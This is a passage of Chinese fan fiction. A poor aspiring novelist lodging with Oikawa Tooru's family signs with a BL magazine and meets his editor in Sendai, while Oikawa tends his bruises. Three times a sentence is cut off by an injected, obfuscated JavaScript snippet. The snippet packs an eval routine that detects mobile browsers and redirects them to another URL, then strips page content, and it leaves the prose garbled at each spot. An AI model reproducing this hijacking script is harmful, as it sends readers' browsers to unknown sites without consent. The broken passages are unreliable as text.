他又连忙搜索《GARLAND!バラ恋人》的百科,得到了半月刊的答案。 好可惜,他恨不得是周刊,这样他每周都能猛猛产稿,猛猛赚钱。 就不能像《Jump》一样吗?他可以接受周刊的更新强度,完全没问题,只要他活着就可以不停的写。 鹤见深雪在此之前从未看过《GARLAND!バラ恋人》这本杂志,他投稿的时候完全不看,只看哪家杂志接受投稿就抄下联系地址。 他对《GARLAND!バラ恋人》的印象就是元谈社旗下一个销量相当不错的文艺杂志,女性向的,因为他投稿的作品《漩涡》本就是关注贫困女子的作品,所以看到女性向就投了。 ——但是腐向是什么意思? 鹤见深雪并不是恃才傲物、自命不凡的人,恰恰相反,他总是自我怀疑,毫无自信,如果有人对他的作品有任何的指点,他会毫不犹豫地按照那个人的想法去修改。 辩驳的能力都没有。 当然,大滝悠成那种完全偏离他的目的建议除外,基本的文学优劣判断他还是有的。 生存还是毁灭,哈姆雷特有选择,鹤见深雪没有。 《漩涡》投不出去,就先放放,先赚到钱再说——鹤见深雪雅虎上键入: 「腐向是什么意思?」 × “所以,你的初恋变成男的了?” “对。” 便利店门口,岩泉一拿着灌装能量饮料,一脸震惊地看着发小,得到肯定的答案后,爆发出一阵狂笑。 “……” “很好笑吗?”及川彻愤恨地说道,“就这么嘲笑你最好的朋友?” 岩泉一笑得脸颊疼,“不过说起来,孩童时候认错我还算正常,都长大了还能认错?你的视力终于因为天天戴平光镜装酷玩坏了吗?” 及川彻急了,他觉得认错这件是不能完全怪他。 “不是——”及川彻回忆了一下,脑海里浮现鹤见深雪回眸的瞬间,表情逐渐变得温和,他道:“他是那种……很好看,头发很好看,鼻子也很可爱,眼睛更别说了,像个小猫……” 岩泉一:“……?” “别漏出那种表情啊你!” “怎么了?” “很猥琐。” “——你怎么敢把「猥琐」这个词用在及川先生这张脸上的?!——真正猥琐的人是心怀嫉妒的人!” 事实证明,岩泉一在面对及川彻还未发芽的初恋情花被一开水浇死这件事上,完全充当不了任何知心朋友的作用,反而收获了无数嘲讽。 不过他还算有点义气,不准备把这件事扩大化以此获得更多笑柄。 及川彻已经习惯。 他的自我开解能力很强,虽然有些伤感,但很快接受了事实。 没什么问题是一场排球比赛遇见颇有实力的路人更开心得了。 但排球结束之后,问题还是该面对。 及川彻说道:“因为他是男的。” 岩泉一擦着手里的排球,面无表情看向及川彻,“以后要一起住很久吧,是同性的话,不是更好相处吗?” “话是这样说倒是没错,但仅限于小岩你这样的女性绝缘体的家伙啦……” 及川彻看着洗手间水龙头不断流淌的水,接了一抔浇在自己的脸上。 及川彻有个姐姐,妈妈之前一直全职照顾家庭,父亲忙于工作,从小到大和女性相处的时间远超男性,尤其长了一张好脸,早已修成一套面对女性无坚不摧的脸皮和油腔滑调的嘴巴。 面对鹤见深雪就完全不行了,这人是长了女人脸的男人啊。 还是完全击中他好球区的脸。 看到脸就忍不住对他好,想起性别就忍不住捶胸顿足、痛恨自己,尤其是他还把及川彻和小时候的事情彻底忘记了。 ——虽说自己搞错他的性别也有错啦。 人与人之间的悲伤各不相同,也无法理解。 及川彻离开排球馆的时候,又拖着岩泉一陪他去药店买了跌打损伤的药膏。 及川彻带着沉重的心情回到家里,吃饭的时候鹤见深雪就坐在他旁边。 及川彻尽量做到忽视他的存在,一撇眼就能看到个金色毛毛球晃来晃去,不过鹤见深雪相当自觉,吃完饭鞠了一躬就回到房间,压根不参与及川家的集体活动。 ——饭后一起看电视。 及川彻看着综艺节目里嘉宾爆笑如雷,妈妈和姐姐被逗得笑成一团,及川彻盘腿面无表情坐在沙发上,忍不住想: 他是回房间了吗?他今天好像被书砸了吧?只是碰巧路过药店买的药,要不要给他?他房间没有暖气,他怎么呆得住的? 冷,确实冷。 白天其实还好,晚上坐在屋里比呆在外面还冷。 鹤见深雪一边搓手,呼出来的气息全变成白茫茫的雾,指甲和嘴唇冻得发紫,一边在笔记本电脑上寻找《GARLAND!バラ恋人》近三年的期刊网络版。 得到元谈社签约邀请已经让他忘记冷了,但付费阅读四个字让鹤见深雪感受到比外面天还要寒冷的事实。 他现在真的一分钱也拿不出了。 他只能不断在网上找试读、书评和节选,并计划明天去书店或者图书馆窃读。 鹤见深雪正纠结,与他联系的《GARLAND!バラ恋人》编辑赤苇美智子终于回了信息。 他之前回复了邮件表达了愿意签约、也愿意按照《GARLAND!バラ恋人》的杂志受众定位来创作作品的意思。 搞明白了腐向到底是什么意思后,终于明白自己闹了个大乌龙。 但即使如此《GARLAND!バラ恋人》竟然还愿意和他聊聊,他恨不得对全编辑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119809|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部士下座。 【编辑赤苇美智子:非常感谢回信,请问您这周末有空约见吗?方便可以直接到文京区的元谈社总部大楼聊一聊。】 鹤见深雪想马上答应,但他现在已经不在东京了,从宫城到东京还得小半天时间。 他也没钱坐新干线啊。 从仙台到东京新干线要一万块啊。 鹤见深雪想到了自己的衣服还有一部分的书——要不挂在网上卖了? 鹤见深雪只好不好意思的写道: 【赤苇编辑,很抱歉,我现在已经不在东京了,我在宫城。】 鹤见深雪发完之后,思考片刻,他需要凑钱去东京,准备延后一周左右。 结果没想到赤苇编辑直接回复他: 【原来如此,那我来宫城吧,约见在仙台如何?因为我看鹤见老师还是学生,不方便回东京对吧?】 【那真是太感谢赤苇编辑了。】 【不客气,让作者无忧创作是编辑的工作。】 鹤见深雪纠结的事情,赤苇编辑两句话就解决了,他高兴得披在身上的被子一甩,再次忍不住化身一条固执的鱼,把地板拖了一遍。 赤苇编辑,虽然我们素未蒙面,但你已是我的再生父母。 鹤见深雪一边开心,还要一边思考自己是否真的能配得上别人这么重视,好怕对方一见到自己,就看穿自己满肚子草包的事实。 鹤见深雪就这样小心翼翼地高兴着。 “咚咚——” 敲门声响起。 鹤见深雪一个鲤鱼打挺,连忙拉了拉衣服,快速将笔记本和文稿收起来,合上笔记本电脑,闪电一般的拉开门。 一开门就看见及川彻那张帅脸,鹤见深雪被帅得呆滞了一下。 及川彻穿着灰色的棉质套头睡衣裤,看见鹤见深雪的时候蜜棕色眼睛一亮,愣了一下,马上恢复如常。 走廊黑暗,鹤见深雪开门的暖光落在他脸上,轮廓分明的脸光影寥落,抬眸的瞬间感觉全世界都亮了。 怎么回事?这家伙有点太帅了啊,怎么连这种随便的打光都这么帅。 嫉妒使得鹤见深雪面目全非。 “呃,鹤见,我妈说床铺已经收拾好了,准备睡觉了。” ……可是现在才刚七点? 而且,为什么突然叫我鹤见——你白天还叫我小雪来着?! 疏远得太快了吧? 不过我也不稀罕你那么叫就是了。 鹤见深雪眨了眨眼睛,有点疑惑,他鼻头、耳朵、脸颊冻得通红,樱色嘴唇抿了抿变得晶莹剔透,让人移不开眼睛。 身后暖黄色的光把一头璀璨的金发照亮,像光环。 他还用一个蓝色的可爱卡通夹,将自己侧边的刘海夹起来,让及川彻得以看清他整张精致到不真实的脸。 及川彻费劲将目光移开,看向鹤见深雪房间里,基本上都是书和衣服,感觉他窗户都没关严,冷风呼呼地吹。 “好的,及川前辈(さん),现在就要睡觉吗?” 鹤见深雪答应,因为及川彻的一句鹤见,让他无比纠结称呼,既然对方已经把称呼拉远了,就不要继续套近乎了。 称呼为哥哥的话,会让别人很苦恼吧。 “都可以,睡前可以看会儿书。” “喔好哦,我马上过来!” 5. 娇气 哈哈,及川前辈(さん)…… 及川彻忍不住在心里笑,这个家足足有五个及川前辈(さん)。 现在从「徹兄ちゃん」变成及川前辈(さん)了呢。 好像他们小时候的连接,在此刻彻底消失了。 ……也好。 ——我,及川彻,不喜欢男的! 想清楚之后,及川彻扬扬下巴,算是打过招呼,双手插兜转身就走。 鹤见深雪莫名其妙,但还是很老实的拿了东西准备去及川彻的房间,在别人的家里,一定要守规矩才行。 他拿出手机,看到他的新妈妈赤苇编辑给他发了好多资料——内容包括但不限于《腐向小说的基本创作方法》、《女性御宅族的人类学研究》、《论耽美小说的几个主题》、《「GARLAND!バラ恋人」审稿要求及文本范例》①…… 看着赤苇编辑那边不停传过来的文件,鹤见深雪目光模糊,是真的想哭了。 怎么一下子就有人对他这么好,明明只是陌生人,甚至还没有签约。 他会忍不住黏上去的啊啊啊。 鹤见深雪发誓自己一定要认真写稿,才不辜负赤苇编辑的用心。 鹤见深雪进了及川彻的房间。 可能是八叠半的屋子呆久了,鹤见深雪觉得及川彻房间确实还挺大的。 关键是暖和——太暖和了! 鹤见深雪一下子把外套脱了,可以穿睡裙睡觉了。 这就是从冬天到夏天,从俄国农奴制一下跃入现代化。 本来还挺紧张进及川彻房间的,现在谁也撵不走他了。 和自己那个小房间比起来,这里简直就是皇宫,唯一的缺憾就是不能随时化身一条鱼满地打滚了。 及川彻房间整洁,还有股淡淡的草木的清香,东西又很少,大部分和排球相关,角落里放着好几个排球,墙上挂着青叶城西的校服,一台台式电脑和游戏机收拾得整整齐齐。 书架上寥寥几本书也都是辅导书、体育和地理相关的杂志,还有各种排球的奖状奖杯。 以及一张笑得很灿烂的拿着奖状的照片—— 「宫城县最佳二传手」 照片上及川彻看着很小,还有很明显婴儿肥,但已经是让人过目不忘的小帅哥了。 鹤见深雪看着他的笑容,忍不住自己也勾起嘴角。 原来他打排球这么厉害的吗? 能把一个喜欢的东西做得很好,并且在上面获得成就是很难得的,也很幸运的事情。 听起来像是热血番的男主角一样,鹤见深雪也想做这样的人。 及川彻房间有卫浴,但鹤见深雪又不好意思先用,就坐在自己的床铺上,看赤苇编辑转给他的各种资料。 还和她电讯讨论着各种问题。 鹤见深雪虽然有点社恐,但在请教问题上倒也不怯场。 很快和赤苇编辑说话没那么多隔阂了,得知她现在正在寒风呼啸中,等待拖稿的作者给她这周的作品,甚至到现在还没吃饭。 当编辑好惨。 鹤见深雪不知道怎么安慰她,就干巴巴地劝她吃饭。 她回复:今天周末我儿子刚好回家,他会做饭的。 天呐,住校生儿子周末回来还要给老妈做饭,当编辑儿子也好惨。 抱歉了,赤苇编辑我还是不认你当妈妈了。 ——鹤见深雪在心里默默的想。 鹤见深雪不用全身发抖着看,他的阅读的效率提升了不少,脑子也灵活了不少。 鹤见深雪原本还担惊受怕及川彻突然进来,一直规规矩矩地坐好。 结果过去两三个小时及川彻都没来,坐姿逐渐放浪,趴在枕头上,翘着脚,晃来晃去,读的非常认真。 虽然是自己的房间,及川彻还是敲了一下门才进来,一推开门就看见鹤见深雪摇晃着的粉红的脚,纤细的脚踝,以及白得透明小腿。 “……” “…………” “咳咳。” 听见咳嗽声,鹤见深雪就像是受惊的猫一样原地爬起来,脸瞬间红了。 怎么突然进来了?!! 好像在学校上课,努力三小时无人问,放松两分钟必被抓。 及川彻看着他的样子,强忍笑意,严肃问道:“你洗澡了吗?” 鹤见深雪道:“……还没,我先洗吗?” “我已经在二楼的浴室洗过了。” 鹤见深雪才发现及川彻深棕色的头发没那么翘了,柔顺的垂下,也没有白天那么张扬,反而有点温柔,又是另一番面孔。 鹤见深雪拿起衣服老实去洗澡。 放出热水,蒸腾的水蒸气很快充盈了整个浴室,他平时很喜欢洗澡,不泡够一小时不会出来,但这里是别人家,他打算在十五分钟完成任务。 怪了。一想到及川彻在外面,他就无法很自然的对待。 好想变成厚脸皮社牛啊啊啊。 鹤见深雪身上青一块紫一块。 他虽然在原来的家庭里像个透明人,但也从未有一天做过这么多劳累的工作。 他看着胫骨上的一块紫青色,还有脚指甲上的淤血,好像是被人打了一顿。 估计十天八天没法彻底好过去。 而且他还没钱买药。 怎是一个惨字了得。 鹤见深雪用浴巾擦着头发,看着镜子中的自己,然后目光一落看见放在镜子前的一瓶全新安美露和没拆封的萨隆撒巴斯贴。 该不会是及川彻给我准备的吧?? 哈哈,鹤见深雪你太自恋了,怎么可能??——及川彻本来就经常运动受伤啊。太自我了小心丢人现眼。 鹤见深雪自己被自己逗笑了,放开了嘲讽自己一番,他完全没想用的事—— 我,鹤见深雪,人穷志不穷。 绝不会偷用别人的东西。 及川彻坐在房间里飞速翻着《排球月刊》,哪怕牛岛若利是封面,他都懒得分出一点脑细胞去嫉妒。 他只要头一偏,就能看见鹤见深雪薄如纸片的身体线条,投射在浴室的门上。 ——希望他能明白自己给他准备的安美露和?隆撒?巴斯贴,然后心怀对及川さん感激之情使用。 ——一看就知道,这很好懂吧? 他拿起有线耳机塞进自己的耳朵里,打开阿根廷VS巴西,声音调到最大。 背对着浴室,靠着枕头,认真观看。 他看着比赛,脑海里却浮现鹤见深雪白皙的小腿和脚踝。 太细了。 如果打排球肯定跳都跳不起来,这种人光看一眼,他都绝不会传球给他的。 及川彻不停开始想象鹤见深雪和排球,这两个明明不搭干的事情。 猪会上树,鹤见深雪都不会打排球。 直到浴室门发出咔哒的声音。 鹤见深雪带着潮气的绯红脸突然出现,放大在眼前—— 及川彻瞬间睁大眼睛,差点原地跳起。 “干嘛突然出现啊你吓死了!!” 及川彻把耳机摘掉。 鹤见深雪蹲在及川彻床铺旁边,抱着膝盖,乖巧道:“……我叫好多遍及川さん了。” 噢…… 及川彻不好意思地撇开眼。 “请问有吹风机吗?”鹤见深雪指了指湿漉漉地头发。 及川彻无言。 从床铺上起来,走出门,先快速去厨房开了一罐冰镇饮料,吨吨吨地饮下,才又一步三台阶爬回二楼,从二楼公共卫浴里拿了吹风机,前后只花了三分钟。 及川彻走进屋,看见鹤见深雪站在屋子中间,他穿着睡裙,湿漉漉地头发把丝质睡衣湿透,睡衣质量极佳,紧紧贴着身体,像是另一层皮肤,白皙的皮肤从睡衣里透出来,肩膀圆得像苹果。 他手里拿着手机快速回复信息,连及川彻回来都没看见。 及川彻喊了他一声,鹤见深雪才反应过来的,连忙道谢后接过吹风机,慌忙放下手机回到浴室吹头发。 及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119810|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川彻望着他的背影,瘦得深怕他一跤摔在地上。 他叹了口气,要不然直接睡觉好了,眼睛一闭直接第二天。 坐回床上,听见手机响了的声音,及川彻低头一看,鹤见深雪床铺上,手机忘记息屏了。 及川彻发誓他不是故意看,只是好奇鹤见深雪和谁聊这么开心,是他自己没息屏。 及川彻随意这么一看,只捕捉到了几个关键词—— 钱。 合同。 后天,到仙台细聊。 及川彻:???? 鹤见深雪不是在宫城没朋友吗?怎么还有朋友涉及钱还有合同什么的?还要线下约见? 及川彻还没来得及思考,吹完头发的鹤见深雪就从浴室里出来了,他连忙低头假装认真看《排球月刊》。 因为家里有专门负责做发型的理发师,所以鹤见深雪没有自己吹过头发,吹一会儿胳膊就酸了,索性不管了,反正房间够暖和。 鹤见深雪开心地刚坐在床上,就被及川彻抓住了手腕。 好烫。鹤见深雪受惊一般的回过头。 好细。及川彻也如触电一样的松手。 两人都相互惊恐地看着对方。 “怎、怎么了?”鹤见深雪结结巴巴。 “头发不吹干,明天会头疼。” 及川彻抬头,表情正常,看向脸颊绯红的鹤见深雪。 他毫无生活常识,头发吹得乱七八糟,和白天绸缎似的头发判若两物,看着有点冒傻气,全靠一张精致的脸撑着。 “哦……没关……” “我帮你吹吧。” “啊?” 及川彻鬼使神差地开口,再无犹豫或者纠结,鹤见深雪生不出半分拒绝的能力。 很快及川彻就重新拿回吹风机,鹤见深雪坐在椅子上,吹风机呼呼地在耳边响,剥夺他的听觉,而他看不见及川彻,鼻息间是属于及川彻的洗发水的气味。 五感被封闭,只能感受到及川彻的手指穿过他的头发,触摸他的头皮。 鹤见深雪天生金发,发量不少,已长到肩膀,长期在肩膀上扫来扫去,发尾翘翘的。 鹤见深雪尽量转移自己的注意力,圆圆的蓝眼睛到处乱看—— 好尴尬,鹤见深雪脚趾能抠出三室一厅,但忘记脚趾有伤,刚开始抠,疼痛席卷全身,心里狂呼好痛。 好可怕啊这人,这么善良的好人,干嘛对他这么好。 鹤见深雪心里这样想。 “好了。” 及川彻吹完,直接将吹风机拿到浴室,鹤见深雪松了口气,头皮甚至舒服得麻麻的,被他拉过的手腕还是很热。 啊,终于可以睡觉了吧? 鹤见深雪纠结自己是否要擅自睡觉,就看见及川彻拿着那瓶他觊觎很久的安美露和萨隆撒巴斯贴。 ——等一下吧,不会吧?? 鹤见深雪惊恐地看着及川彻。 鹤见深雪刚想站起来,就被及川彻抓住肩膀摁坐下去。 及川彻在鹤见深雪面前坐在榻榻米上,他身材对鹤见深雪来说就像巨人,如今就像是只伏地的温顺的大型动物。 鹤见深雪全身凝固僵硬,及川彻伸出手握住他的脚踝,握得有点紧,鹤见深雪感觉他的掌心其实有点湿润。 及川彻在的脚背上涂上药膏,又贴上撒隆巴斯贴,接着又是小腿上方…… 两人可疑地沉默着。 及川彻顺着他的腿往上看,看到浑圆的膝盖也一片青紫。 他明明只看到此人脚趾撞到台阶,书砸到脚背,怎么一下午小腿、膝盖、胳膊全受伤了。 ——他是收拾房间还是上战场? 这也太娇气了吧? 及川彻长这么大,没见过这么娇气的男生。 他疑惑地抬起头,看见鹤见深雪整个脸已经和煮熟螃蟹一样红了,水润的蓝眼到处乱看。 ——还挺好逗的。 及川彻低着头,在鹤见深雪看不到的地方勾起嘴角。 6. 葛叶 及川彻给人上药膏很是熟练,一看就是久伤成医了。 动作很温柔,鹤见深雪甚至感觉不到多少疼,不会因为上药而造成二次伤害。 “好了。” “唔,谢谢。” 及川彻看着心情不错,全程却没说一句多余的话,做完了将药放回药箱,就准备睡觉了。 鹤见深雪像是条鱼一样的滑进被窝里。 鹤见深雪望着陌生的天花板,被子也是陌生的,气味也是陌生的,他微微偏头,看向及川彻。 他戴着耳塞背对着鹤见深雪。 难道这家伙真是个好人? 纯好人的那种? 鹤见深雪算是半吊子的讲故事的人,所以总是看人很准。 一个人在他面前讲两句话,他就大致能判断此人的性格和喜好,自己是否能和他交往,他会喜欢什么性格人,甚至他可能会成为什么、做什么都能加以揣测。 要说是察言观色也对吧。 总之是鹤见深雪引以为傲的小技能。 但他在及川彻这里看走眼了。 安美露刚涂上有点凉凉,现在开始有点回热。 鹤见深雪把手放进被子里,半张脸藏在被子里,又在心里对被子说了一句。 谢谢。 他还是不准备和及川彻成为朋友,他们是完全两个世界的人。 而且交朋友带来的连锁反应太多了。 鹤见深雪今天实在太累了,一沾枕头就困得睁不开眼,但又有点认床。 床太硬了,所以睡得不是很安分。 翻来覆去。 及川彻也是半梦半醒,指尖残留的安美露很热。 他忍不住回过头,看到鹤见深雪半个身子都在外面——室内温度二十七八,但也不代表不会感冒。 只是刚好要起床而已。 只是及川家不能怠慢了客人而已。 凌晨四点。 及川彻从床上爬起来,看到鹤见深雪抱着被子,蜷缩成一团,眉头紧紧皱着,像是在做什么噩梦,但始终安安静静的。 他叹了口气,将被子往上一拉,帮他盖好,不小心透过皮肤似的睡衣碰到他的肩膀,像是雪融化在指尖。 及川彻连忙收回手,顿了一下,小心翼翼地拿了运动服,到走廊去穿衣服。 月亮还挂在深蓝色的天空中。 及川彻拉上运动服的拉链,打开大门,对着花园猛吸了一口新鲜空气,稍微热了一下身。 他身体很好,只穿了运动外套和运动紧身裤也感觉不到一丝寒冷。 绕着家跑了一圈,及川彻紧紧抿着嘴唇,鼻息间呼出白色的雾气,初雪的早晨安静无声,只能听见自己的脚步声和呼吸声。 路过家门口的时候,他抬头看见平时漆黑的屋子,竟然亮了一盏灯。 这是鹤见深雪房间的灯。 他起这么早? 起来干什么? 还回自己的房间了,不冷吗? 及川彻皱着眉,停住脚步,张开嘴呼吸,抬头,在不断融化的雪里看着鹤见深雪房间的薄薄暖光。 × 鹤见深雪打了个哈欠,坐在自己的房间的榻榻米上,等待电脑开机,伸手挠了挠后脑勺,把昨天晚上及川彻吹好的头发弄得乱糟糟。 鹤见深雪盘腿坐在方桌前,指尖夹着笔扶着额头思考着,另一只手滑动屏幕,阅读着手机里的资料,时间流逝。 他计划在下周见赤苇编辑之前,必须拿出三个写作方向,并至少试写一个短篇。 最好第一次就能过稿。 上午暖气工作人员的人终于上班了,给鹤见深雪房间的暖气片修好。 鹤见深雪终于实现了暖气自由。 房间里一呆就是一整天。 及川太太开始还害怕怠慢了鹤见深雪,后来发现不管他,就是对他最好的照顾之后,也就没再管他,每天只在吃饭的时候见面。 现在是青叶城西第三学期接近末期,鹤见深雪没做转校生,而是选择春天开学直接入学二年级,这给了他充分的时间去研究过稿。 及川彻这个现充似乎很忙,青叶城西有饭堂也可以带餐,中午不归家,三点半放学就参加社团活动。 及川彻连晚饭也不回来吃,直到晚上八点才会回家。 虽然放学早,但学校有很多补习课,包括一般的家庭都会给孩子报校外补习班,但及川彻不是去补习,而是排球训练。 学校相当于他的排球启动器。 “因为最近是春高的预选赛。” “原来如此。” 鹤见深雪默默地吃饭,听见及川姐姐和及川太太说话。 ——春高,他还是知道的。 日本政府倒是给所有日本青少年准备了大大小小无数值得挥洒青春的时刻,随便一场比赛,一个场景都值得大写特写。 母女俩作为青叶城西家长会的成员,是必然会去看比赛的。 “还是和白鸟泽打吗?” “是啊。” 鹤见深雪听着两个人的对话——白鸟泽,好耳熟的学校。 最开始鹤见深雪就是准备转到这个学校,但因为离及川家太远了,及川爸爸夸下海口不能让鹤见深雪住校,所以最后选了青叶城西。 鹤见深雪对社团活动敬谢不敏。 他几乎把所有时间都要拿来写作。 从某种角度来说,鹤见深雪是拿生命在写作都行。 算是首秀作的《无尽魔法长夜》他就靠每天晚上躲到被窝里,整夜不睡觉,手写了三十万字。 你肯定会问,为什么不加入文学部? 当然不可能了,文学部的学生每天都在鉴赏文学,还要给校报撰写文章。他原来在井闼山文学部,每周还要写一篇命题作文。 开什么玩笑。 鹤见深雪每天创作故事都快写不完了,哪有空啊。 那时候他认为文学是自我的表达,所以不太喜欢文学部每周一篇的命题作文。 现在鹤见深雪不这么认为了,命题作文是一种能力。 比如现在的鹤见深雪就是在命题作文。 天杀的,这辈子连异性恋都没谈过,更别说男同性恋了。 鹤见深雪用力抓着自己的金发,在房间里独自发疯,压力大到掉头发。 最后拆解了时下最热的几本BL轻小说,换了个题材又重写了一遍。 鹤见深雪在日常去图书馆窃读的路上,发现了一家旧书店,将自己的那本精装版《百年孤独》卖掉后,拿了钱坐车去往仙台。 从青叶町到仙台体育馆附近的咖啡馆,只要半小时。 鹤见深雪总算是第一次见到了聊了一周的赤苇编辑。 赤苇美智子不算很年轻,四十岁前半,赤苇是她的夫姓,她的长相是那种看到之后就会感叹,年轻时一定是个气质冷美人的感觉。 鹤见深雪算是和编辑打交道过不少次,赤苇美智子也很专业。 “您好,我是赤苇美智子,赤苇是夫姓,本姓宫泽。” “您好您好,我叫鹤见深雪,您过来辛苦了。” 鹤见深雪和赤苇美智子相互鞠躬数十次,客气了十分钟,总算进入了正题。 “我们主编看了你的《漩涡》非常感兴趣。” 鹤见深雪本以为《GARLAND!バラ恋人》编辑部对《漩涡》的赞美只是客套,没想到赤苇美智子的第一句话竟然是关于《漩涡》。 她不仅让编辑部包括主编在内的好几位编辑都看过了,连她丈夫和儿子也看过了。 赤苇编辑抱歉地说道:“所以回复您邮件稍微晚了一点。” 鹤见深雪连连摆手:“没有的事,能得到这样郑重的对待,是我的幸运。” “我丈夫不才,也是从事出版行业的。” “啊,原来是文学世家。” “不敢当,他之前也有幸做了您之前的《无尽魔法长夜》的评委。” “竟然还有这样的缘分!” 《漩涡》只有27万字,用了POV的写法,着手六个人物讲述了一件事。 警长寺内悠悟接到报警称上板田的河间发现一具自杀的女尸,根据DNA鉴别技术,得到女尸的身份是江川葛叶。 寺内悠悟调查了五个POV人物,分别讲述了同一件事的不同视角看法。 关键人物除了寺内悠悟本人,分别是:江川葛叶的女同事藤沢风子、歌舞厅领事平尾梦野、葛叶妈妈江川乙女、葛叶的初中同学加茂嘉穂理、以及葛叶的情夫上田彰。 除了两个男性,基本算是纯工具线索角色以外,剩下四个女性都因为各种原因陷入贫困与不自由之中,但她们或多或少因为某些原因依然拼命生存着。 而葛叶则是她们所有不幸的集合体,葛叶甚至像一个幽灵,存在于她们的每一个悲剧时刻。 她们当中任何一个人都有可能成为葛叶,葛叶是她们随意走错任何一步都会跌入的万丈深渊,葛叶也将会成为她们最终的归宿。 《漩涡》是鹤见深雪第一次尝试现实题材作品,虽然是现实题材,但仍然有一丝魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119811|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幻超现实色彩,看完之后会让人把重心放在四个女性身上,甚至怀疑葛叶是否真实存在。 而且主角的名字还叫葛叶,葛叶是日本传说中生下安倍晴明就消失的白狐,更在暗示葛叶其实不存在,那如果葛叶不存在,女尸又是从何而来? 《青春Oricon》杂志编辑大滝悠成只是大致浏览,压根没看完作品,他误以为是一篇故意歌颂苦难,到处兜售猎奇悲惨经历的作品。 宫泽美智子发现了这颗遗珠。 这本书的优秀已经溢出了,只要看完的人都会震惊。 他切入点之巧妙,写法之老辣,会让人看完后产生深深的恐惧。 恐惧于葛叶,好像这具无名女尸会发出深深的呐喊。 而这份近乎恐吓读者的情绪,正是这本书本身想要表达的东西。 悲哀是一种美学,悲哀中的愤怒是另一种的东西。 并不是宫泽美智子慧眼识珠,而是鹤见深雪压根搞错了,这本书应该投到日本文学协会,或者直投出版社,而不是某本青春刊物。 青春刊物的编辑一般看到30万字投稿,瞟个开头就会放弃,如果不是宫泽美智子刚好认识鹤见深雪,估计也会丢进垃圾箱。 “所以为什么会想到写这样的作品?” 来了,最怕别人问这个问题了,总不能说,刚好想到了吧? 鹤见深雪道:“运气很好,从认识的人口中听到类似于葛叶的故事,就写了。” “请务必把这本书的出版机会给我和我丈夫可以吗?我们很想出版这本书。” 鹤见深雪被宫泽夸得找不着北,迷迷糊糊的答应。 鹤见深雪关于《漩涡》就和宫泽编辑聊了两个多小时,从创作动机,创作过程、到最后想要表达的思想。 鹤见深雪都忘了自己是来签约腐向小说作者,还是读者见面会了。 好在宫泽编辑到最后没忘记转回正题。 拿出了合同,介绍道: “我们杂志一共两种签约类型,一种作者约,另一种是作品约。作为我们的特约作者需要每期完成一篇命题的作品和杂谈,而且作品要由我们出版社代理,换言之您的所有作品,我们都会支付稿费。 “作品约的话,分为短篇和长篇连载。 “目前我社的所有短篇几乎都是长篇连载的试水——如果您选择作品约,希望您能先创作一篇短篇,根据读者的反馈,将短篇改为长篇。” 宫泽说的话,鹤见深雪都懂,日本出版业发达,早有一套行规,基本上都是这套内容。 他在创作《无尽魔法长夜》的时候就是这样。但是因为连载的缘故所以需要根据读者的反馈来修改剧情。 因此他一直不喜欢《无尽魔法长夜》。 如果全然让他操刀,大概率结局还会更惨一点,毕竟两个主人公圣子和千惠子都不是性格自洽的主角,别扭的性格终究会反应到人生上。 鹤见深雪必然选择作品约,他对腐向小说没什么意见,但也提不起什么兴趣,他愿意尝试各种题材,包括同性恋题材,但「GARLAND!バラ恋人」的风格和他的想法是大相径庭。 如果不是唯一一个过稿,他大概率不会选这个。 他写「GARLAND!バラ恋人」的作品几乎完全是命题八股文。 似乎是看出鹤见深雪的想法,宫泽编辑建议鹤见深雪用笔名来写。 聊完合约和一些创作的基本规则之后,鹤见深雪在宫泽惊讶的目光之下,有些紧张地拿出了自己这一周憋出来的一万字和几个题材。 效率也太高了。 作家、漫画家是一个非常辛苦,但从事的人往往是懒汉的职业。 看到鹤见深雪这样高效率的人,宫泽露出慈母一般的光辉。 “《我的职场男上司是魔法师》……” 宫泽轻轻念出了鹤见深雪腐向小说初作的名字,她抬头看了眼有些不好意思的脸红红的鹤见深雪,又看了看放一边的《漩涡》,又回忆了一下《无尽魔法长夜》。 她忍不住感叹:“鹤见老师的作品,每次都能给我很深的震撼。” “欸?” 鹤见深雪没听出她口吻里幽默,有点疑惑,但宫泽没继续解释,而是沉浸式的开始阅读。 鹤见深雪有些紧张地搓搓手,为了转移注意力,他侧头看向窗外,看到仙台体育馆人山人海,都是穿着运动服的学生。 他定睛一看,才看到今天竟然还是春高宫城县预选赛决赛。 那岂不是及川彻准备一周的比赛? 7. BL 鹤见深雪望着来来往往的穿着校服的学生,想在里面寻找熟悉的身影,很快他回过神来,及川彻怎样跟他才没关系呢。 他可不想在这里碰见及川彻! 